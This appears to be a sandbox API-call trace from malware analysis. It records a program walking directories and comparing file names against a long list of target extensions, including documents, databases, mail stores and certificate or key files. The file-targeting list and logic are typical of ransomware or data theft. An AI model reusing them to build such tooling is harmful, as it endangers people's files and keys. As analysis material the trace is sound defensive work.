	[0257.685] lstrlenW (lpString=".bin") returned 4
	[0257.685] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0257.685] lstrlenW (lpString=".bmp") returned 4
	[0257.685] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0257.685] lstrlenW (lpString=".bz2") returned 4
	[0257.685] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0257.685] lstrlenW (lpString=".c") returned 2
	[0257.685] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0257.685] lstrlenW (lpString=".cdr") returned 4
	[0257.685] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0257.685] lstrlenW (lpString=".cer") returned 4
	[0257.685] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0257.685] lstrlenW (lpString=".cf") returned 3
	[0257.685] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0257.685] lstrlenW (lpString=".cfc") returned 4
	[0257.685] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0257.685] lstrlenW (lpString=".cfm") returned 4
	[0257.685] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0257.685] lstrlenW (lpString=".cfml") returned 5
	[0257.685] lstrcmpiW (lpString1=".cfml", lpString2="a.dll") returned -1
	[0257.685] lstrlenW (lpString=".cfu") returned 4
	[0257.685] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".chm") returned 4
	[0257.686] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".cin") returned 4
	[0257.686] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".class") returned 6
	[0257.686] lstrcmpiW (lpString1=".class", lpString2="ta.dll") returned -1
	[0257.686] lstrlenW (lpString=".clx") returned 4
	[0257.686] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".config") returned 7
	[0257.686] lstrcmpiW (lpString1=".config", lpString2="ata.dll") returned -1
	[0257.686] lstrlenW (lpString=".cpp") returned 4
	[0257.686] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".cr2") returned 4
	[0257.686] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".crt") returned 4
	[0257.686] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".crw") returned 4
	[0257.686] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".cs") returned 3
	[0257.686] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0257.686] lstrlenW (lpString=".css") returned 4
	[0257.686] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".csv") returned 4
	[0257.686] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".cub") returned 4
	[0257.686] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".dae") returned 4
	[0257.686] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".dat") returned 4
	[0257.686] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0257.686] lstrlenW (lpString=".db") returned 3
	[0257.686] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0257.687] lstrlenW (lpString=".dbf") returned 4
	[0257.687] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0257.687] lstrlenW (lpString=".dbx") returned 4
	[0257.687] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0257.687] lstrlenW (lpString=".dc3") returned 4
	[0257.687] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0257.687] lstrlenW (lpString=".dcm") returned 4
	[0257.687] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0257.687] lstrlenW (lpString=".dcr") returned 4
	[0257.687] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0257.687] lstrlenW (lpString=".der") returned 4
	[0257.687] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0257.687] lstrlenW (lpString=".dib") returned 4
	[0257.687] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0257.687] lstrlenW (lpString=".dic") returned 4
	[0257.687] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0257.687] lstrlenW (lpString=".dif") returned 4
	[0257.687] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0257.687] lstrlenW (lpString=".divx") returned 5
	[0257.687] lstrcmpiW (lpString1=".divx", lpString2="a.dll") returned -1
	[0257.687] lstrlenW (lpString=".djvu") returned 5
	[0257.687] lstrcmpiW (lpString1=".djvu", lpString2="a.dll") returned -1
	[0257.687] lstrlenW (lpString=".dng") returned 4
	[0257.687] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0257.687] lstrlenW (lpString=".doc") returned 4
	[0257.687] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0257.688] lstrlenW (lpString=".docm") returned 5
	[0257.688] lstrcmpiW (lpString1=".docm", lpString2="a.dll") returned -1
	[0257.688] lstrlenW (lpString=".docx") returned 5
	[0257.688] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0257.688] lstrlenW (lpString=".dot") returned 4
	[0257.688] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0257.688] lstrlenW (lpString=".dotm") returned 5
	[0257.688] lstrcmpiW (lpString1=".dotm", lpString2="a.dll") returned -1
	[0257.688] lstrlenW (lpString=".dotx") returned 5
	[0257.688] lstrcmpiW (lpString1=".dotx", lpString2="a.dll") returned -1
	[0257.688] lstrlenW (lpString=".dpx") returned 4
	[0257.688] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0257.688] lstrlenW (lpString=".dqy") returned 4
	[0257.688] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0257.688] lstrlenW (lpString=".dsn") returned 4
	[0257.688] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0257.688] lstrlenW (lpString=".dt") returned 3
	[0257.688] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0257.688] lstrlenW (lpString=".dtd") returned 4
	[0257.688] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0257.688] lstrlenW (lpString=".dwg") returned 4
	[0257.688] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0257.688] lstrlenW (lpString=".dwt") returned 4
	[0257.688] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0257.688] lstrlenW (lpString=".dx") returned 3
	[0257.688] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0257.688] lstrlenW (lpString=".dxf") returned 4
	[0257.688] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0257.688] lstrlenW (lpString=".edml") returned 5
	[0257.688] lstrcmpiW (lpString1=".edml", lpString2="a.dll") returned -1
	[0257.688] lstrlenW (lpString=".efd") returned 4
	[0257.688] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0257.688] lstrlenW (lpString=".elf") returned 4
	[0257.689] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".emf") returned 4
	[0257.689] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".emz") returned 4
	[0257.689] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".epf") returned 4
	[0257.689] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".eps") returned 4
	[0257.689] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".epsf") returned 5
	[0257.689] lstrcmpiW (lpString1=".epsf", lpString2="a.dll") returned -1
	[0257.689] lstrlenW (lpString=".epsp") returned 5
	[0257.689] lstrcmpiW (lpString1=".epsp", lpString2="a.dll") returned -1
	[0257.689] lstrlenW (lpString=".erf") returned 4
	[0257.689] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".exr") returned 4
	[0257.689] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".f4v") returned 4
	[0257.689] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".fido") returned 5
	[0257.689] lstrcmpiW (lpString1=".fido", lpString2="a.dll") returned -1
	[0257.689] lstrlenW (lpString=".flm") returned 4
	[0257.689] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".flv") returned 4
	[0257.689] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".frm") returned 4
	[0257.689] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".fxg") returned 4
	[0257.689] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".geo") returned 4
	[0257.689] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0257.689] lstrlenW (lpString=".gif") returned 4
	[0257.689] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".grs") returned 4
	[0257.690] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".gz") returned 3
	[0257.690] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0257.690] lstrlenW (lpString=".h") returned 2
	[0257.690] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0257.690] lstrlenW (lpString=".hdr") returned 4
	[0257.690] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".hpp") returned 4
	[0257.690] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".hta") returned 4
	[0257.690] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".htc") returned 4
	[0257.690] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".htm") returned 4
	[0257.690] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".html") returned 5
	[0257.690] lstrcmpiW (lpString1=".html", lpString2="a.dll") returned -1
	[0257.690] lstrlenW (lpString=".icb") returned 4
	[0257.690] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".ics") returned 4
	[0257.690] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".iff") returned 4
	[0257.690] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".inc") returned 4
	[0257.690] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".indd") returned 5
	[0257.690] lstrcmpiW (lpString1=".indd", lpString2="a.dll") returned -1
	[0257.690] lstrlenW (lpString=".ini") returned 4
	[0257.690] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".iqy") returned 4
	[0257.690] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0257.690] lstrlenW (lpString=".j2c") returned 4
	[0257.690] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".j2k") returned 4
	[0257.691] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".java") returned 5
	[0257.691] lstrcmpiW (lpString1=".java", lpString2="a.dll") returned -1
	[0257.691] lstrlenW (lpString=".jp2") returned 4
	[0257.691] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".jpc") returned 4
	[0257.691] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".jpe") returned 4
	[0257.691] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".jpeg") returned 5
	[0257.691] lstrcmpiW (lpString1=".jpeg", lpString2="a.dll") returned -1
	[0257.691] lstrlenW (lpString=".jpf") returned 4
	[0257.691] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".jpg") returned 4
	[0257.691] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".jpx") returned 4
	[0257.691] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".js") returned 3
	[0257.691] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0257.691] lstrlenW (lpString=".jsf") returned 4
	[0257.691] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".json") returned 5
	[0257.691] lstrcmpiW (lpString1=".json", lpString2="a.dll") returned -1
	[0257.691] lstrlenW (lpString=".jsp") returned 4
	[0257.691] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".kdc") returned 4
	[0257.691] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".kmz") returned 4
	[0257.691] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".kwm") returned 4
	[0257.691] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0257.691] lstrlenW (lpString=".lasso") returned 6
	[0257.692] lstrcmpiW (lpString1=".lasso", lpString2="ta.dll") returned -1
	[0257.692] lstrlenW (lpString=".lbi") returned 4
	[0257.692] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0257.692] lstrlenW (lpString=".lgf") returned 4
	[0257.692] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0257.692] lstrlenW (lpString=".lgp") returned 4
	[0257.692] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0257.692] lstrlenW (lpString=".log") returned 4
	[0257.692] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0257.692] lstrlenW (lpString=".m1v") returned 4
	[0257.692] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0257.692] lstrlenW (lpString=".m4a") returned 4
	[0257.692] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0257.692] lstrlenW (lpString=".m4v") returned 4
	[0257.692] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0257.692] lstrlenW (lpString=".max") returned 4
	[0257.692] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0257.692] lstrlenW (lpString=".md") returned 3
	[0257.692] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0257.692] lstrlenW (lpString=".mda") returned 4
	[0257.692] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0257.692] lstrlenW (lpString=".mdb") returned 4
	[0257.692] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0257.692] lstrlenW (lpString=".mde") returned 4
	[0257.693] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mdf") returned 4
	[0257.693] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mdw") returned 4
	[0257.693] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mef") returned 4
	[0257.693] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mft") returned 4
	[0257.693] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mfw") returned 4
	[0257.693] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mht") returned 4
	[0257.693] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mhtml") returned 6
	[0257.693] lstrcmpiW (lpString1=".mhtml", lpString2="ta.dll") returned -1
	[0257.693] lstrlenW (lpString=".mka") returned 4
	[0257.693] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mkidx") returned 6
	[0257.693] lstrcmpiW (lpString1=".mkidx", lpString2="ta.dll") returned -1
	[0257.693] lstrlenW (lpString=".mkv") returned 4
	[0257.693] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mos") returned 4
	[0257.693] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mov") returned 4
	[0257.693] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mp3") returned 4
	[0257.693] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mp4") returned 4
	[0257.693] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mpeg") returned 5
	[0257.693] lstrcmpiW (lpString1=".mpeg", lpString2="a.dll") returned -1
	[0257.693] lstrlenW (lpString=".mpg") returned 4
	[0257.693] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0257.693] lstrlenW (lpString=".mpv") returned 4
	[0257.694] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".mrw") returned 4
	[0257.694] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".msg") returned 4
	[0257.694] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".mxl") returned 4
	[0257.694] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".myd") returned 4
	[0257.694] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".myi") returned 4
	[0257.694] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".nef") returned 4
	[0257.694] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".nrw") returned 4
	[0257.694] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".obj") returned 4
	[0257.694] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".odb") returned 4
	[0257.694] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".odc") returned 4
	[0257.694] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".odm") returned 4
	[0257.694] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".odp") returned 4
	[0257.694] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".ods") returned 4
	[0257.694] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".oft") returned 4
	[0257.694] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".one") returned 4
	[0257.694] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0257.694] lstrlenW (lpString=".onepkg") returned 7
	[0257.694] lstrcmpiW (lpString1=".onepkg", lpString2="ata.dll") returned -1
	[0257.695] lstrlenW (lpString=".onetoc2") returned 8
	[0257.695] lstrcmpiW (lpString1=".onetoc2", lpString2="Data.dll") returned -1
	[0257.695] lstrlenW (lpString=".opt") returned 4
	[0257.695] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".oqy") returned 4
	[0257.695] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".orf") returned 4
	[0257.695] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".p12") returned 4
	[0257.695] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".p7b") returned 4
	[0257.695] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".p7c") returned 4
	[0257.695] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".pam") returned 4
	[0257.695] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".pbm") returned 4
	[0257.695] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".pct") returned 4
	[0257.695] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".pcx") returned 4
	[0257.695] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".pdd") returned 4
	[0257.695] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".pdf") returned 4
	[0257.695] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".pdp") returned 4
	[0257.695] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0257.695] lstrlenW (lpString=".pef") returned 4
	[0257.695] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0257.696] lstrlenW (lpString=".pem") returned 4
	[0257.696] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0257.696] lstrlenW (lpString=".pff") returned 4
	[0257.696] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0257.696] lstrlenW (lpString=".pfm") returned 4
	[0257.696] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0257.696] lstrlenW (lpString=".pfx") returned 4
	[0257.696] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0257.696] lstrlenW (lpString=".pgm") returned 4
	[0257.696] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0257.696] lstrlenW (lpString=".php") returned 4
	[0257.696] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0257.696] lstrlenW (lpString=".php3") returned 5
	[0257.696] lstrcmpiW (lpString1=".php3", lpString2="a.dll") returned -1
	[0257.696] lstrlenW (lpString=".php4") returned 5
	[0257.696] lstrcmpiW (lpString1=".php4", lpString2="a.dll") returned -1
	[0257.696] lstrlenW (lpString=".php5") returned 5
	[0257.696] lstrcmpiW (lpString1=".php5", lpString2="a.dll") returned -1
	[0257.696] lstrlenW (lpString=".phtml") returned 6
	[0257.696] lstrcmpiW (lpString1=".phtml", lpString2="ta.dll") returned -1
	[0257.696] lstrlenW (lpString=".pict") returned 5
	[0257.696] lstrcmpiW (lpString1=".pict", lpString2="a.dll") returned -1
	[0257.697] lstrlenW (lpString=".pl") returned 3
	[0257.697] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0257.697] lstrlenW (lpString=".pls") returned 4
	[0257.697] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0257.697] lstrlenW (lpString=".pm") returned 3
	[0257.697] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0257.697] lstrlenW (lpString=".png") returned 4
	[0257.697] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0257.697] lstrlenW (lpString=".pnm") returned 4
	[0257.697] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0257.697] lstrlenW (lpString=".pot") returned 4
	[0257.697] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0257.697] lstrlenW (lpString=".potm") returned 5
	[0257.697] lstrcmpiW (lpString1=".potm", lpString2="a.dll") returned -1
	[0257.697] lstrlenW (lpString=".potx") returned 5
	[0257.697] lstrcmpiW (lpString1=".potx", lpString2="a.dll") returned -1
	[0257.697] lstrlenW (lpString=".ppa") returned 4
	[0257.697] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0257.697] lstrlenW (lpString=".ppam") returned 5
	[0257.697] lstrcmpiW (lpString1=".ppam", lpString2="a.dll") returned -1
	[0257.697] lstrlenW (lpString=".ppm") returned 4
	[0257.697] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0257.697] lstrlenW (lpString=".pps") returned 4
	[0257.697] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".ppsm") returned 5
	[0257.698] lstrcmpiW (lpString1=".ppsm", lpString2="a.dll") returned -1
	[0257.698] lstrlenW (lpString=".ppt") returned 4
	[0257.698] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".pptm") returned 5
	[0257.698] lstrcmpiW (lpString1=".pptm", lpString2="a.dll") returned -1
	[0257.698] lstrlenW (lpString=".pptx") returned 5
	[0257.698] lstrcmpiW (lpString1=".pptx", lpString2="a.dll") returned -1
	[0257.698] lstrlenW (lpString=".prn") returned 4
	[0257.698] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".ps") returned 3
	[0257.698] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0257.698] lstrlenW (lpString=".psb") returned 4
	[0257.698] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".psd") returned 4
	[0257.698] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".pst") returned 4
	[0257.698] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".ptx") returned 4
	[0257.698] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".pub") returned 4
	[0257.698] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".pwm") returned 4
	[0257.698] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".pxr") returned 4
	[0257.698] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".py") returned 3
	[0257.698] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0257.698] lstrlenW (lpString=".qt") returned 3
	[0257.698] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0257.698] lstrlenW (lpString=".r3d") returned 4
	[0257.698] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0257.698] lstrlenW (lpString=".raf") returned 4
	[0257.699] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0257.699] lstrlenW (lpString=".rar") returned 4
	[0257.699] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0257.699] lstrlenW (lpString=".raw") returned 4
	[0257.699] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0257.699] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0257.996] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0257.996] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0
	[0257.996] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0257.996] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e1cd0 | out: hHeap=0x4a0000) returned 1
	[0257.996] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0
	[0257.996] FindClose (in: hFindFile=0x41b2090 | out: hFindFile=0x41b2090) returned 1
	[0257.996] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
